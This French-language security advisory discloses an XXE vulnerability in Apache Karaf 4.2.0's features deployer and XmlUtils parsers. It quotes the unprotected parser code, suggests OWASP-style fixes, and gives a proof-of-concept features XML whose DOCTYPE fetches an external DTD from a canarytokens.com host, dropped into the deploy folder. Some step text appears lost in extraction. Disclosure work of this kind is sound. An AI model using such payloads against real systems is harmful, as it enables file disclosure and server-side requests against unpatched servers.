
Apache Karaf XXE Vulnérabilité (CVE-2018-11788)
Apache Karaf est un conteneur d'applications moderne et polymorphe. C'est un conteneur léger, puissant et prêt pour l'entreprise, propulsé par OSGi. Apache Karaf est un « projet produit » fournissant un runtime complet et clé en main. Le runtime est « multi-facettes », ce qui signifie que vous pouvez déployer différents types d'applications : OSGi ou non OSGi, applications web, applications basées sur des services, etc.
Lors d'une récente recherche sur Apache Karaf, j'ai découvert des vulnérabilités XXE (injection d'entités externes XML) dans ses analyseurs XML. Cela est dû au fait que les analyseurs analysent incorrectement les documents XML.
Selon le manuel officiel, Apache Karaf fournit un déployeur de features par défaut, qui permet aux utilisateurs de « déployer à chaud » un XML de features en déposant le fichier directement dans le dossier deploy.
Lorsque vous déposez un XML de features dans le dossier deploy, le déployeur de features :
Par exemple, déposer le XML suivant dans le dossier deploy installera automatiquement feature1 et feature2, tandis que feature3 ne sera pas installée :
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="feature1" version="1.0" install="auto">
...
</feature>
<feature name="feature2" version="1.0" install="auto">
...
</feature>
<feature name="feature3" version="1.0">
...
</feature>
</features>
Afin de comprendre comment le déployeur gère le fichier XML, j'ai consulté les codes sources de Karaf sur Github et découvert les invocations suivantes :
Activator invoque la fonction doStart() pour démarrer un écouteur pour le déployeurdoStart() invoque FeatureDeploymentListener.init() pour initialiser un écouteurbundleChanged - canHandle - getRootElementName pour analyser le document XML en utilisant XMLInputFactoryMais après une investigation plus approfondie de la fonction getRootElementName ci-dessous, aucune prévention contre les XXE n'est présente.
private QName getRootElementName(File artifact) throws Exception {
if (xif == null) {
xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
}
try (InputStream is = new FileInputStream(artifact)) {
XMLStreamReader sr = xif.createXMLStreamReader(is);
sr.nextTag();
return sr.getName();
}
}
Par conséquent, j'ai supposé que cela posait un risque potentiel de sécurité pour Apache Karaf.
Afin de vérifier mon hypothèse, j'ai effectué des tests sur la dernière version officielle d'Apache Karaf 4.2.0 téléchargée depuis https://karaf.apache.org/download.html comme suit.
bin pour démarrer la console de commandes Karaf comme indiqué ci-dessous bin$ ./karaf
__ __ ____
/ //_/____ __________ _/ __/
/ ,< / __ `/ ___/ __ `/ /_
/ /| |/ /_/ / / / /_/ / __/
/_/ |_|\__,_/_/ \__,_/_/
Apache Karaf (4.2.0)
Hit '<tab>' for a list of available commands
and '[cmd] --help' for help on a specific command.
Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.
karaf@root()>
27av6zyg33g8q8xu338uvhnsc.canarytokens.com<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="deployer" version="2.0" install="auto">
</feature>
</features>
deployapache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
Attendez un moment, puis vous verrez les requêtes DNS provenant de votre machine de test, ce qui signifie que l'analyseur XML tente de charger les entités externes intégrées dans les DTD

Suivez le guide OWASP ci-dessous qui fournit des informations concises pour prévenir cette vulnérabilité. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
Par exemple, ajoutez les codes ci-dessous pour désactiver les DTD et les entités externes dans la fonction getRootElementName.
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities
Outre la découverte mentionnée ci-dessus, j'ai également constaté qu'une autre classe XmlUtils du projet Apache Karaf n'ajoutait aucune protection contre la vulnérabilité XXE lors de l'analyse de documents XML.
package org.apache.karaf.util;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
/**
* Utils class to manipulate XML document in a thread safe way.
*/
public class XmlUtils {
private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();
public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(uri);
} finally {
db.reset();
}
}
public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(stream);
} finally {
db.reset();
}
}
public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
db.setErrorHandler(errorHandler);
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer();
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer(xsltSource);
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
SAXParserFactory spf = SAX_PARSER_FACTORY.get();
if (spf == null) {
spf = SAXParserFactory.newInstance();
spf.setNamespaceAware(true);
SAX_PARSER_FACTORY.set(spf);
}
return spf.newSAXParser().getXMLReader();
}
public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
if (dbf == null) {
dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
DOCUMENT_BUILDER_FACTORY.set(dbf);
}
return dbf.newDocumentBuilder();
}
public static Transformer transformer() throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer();
}
private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer(xsltSource);
}
}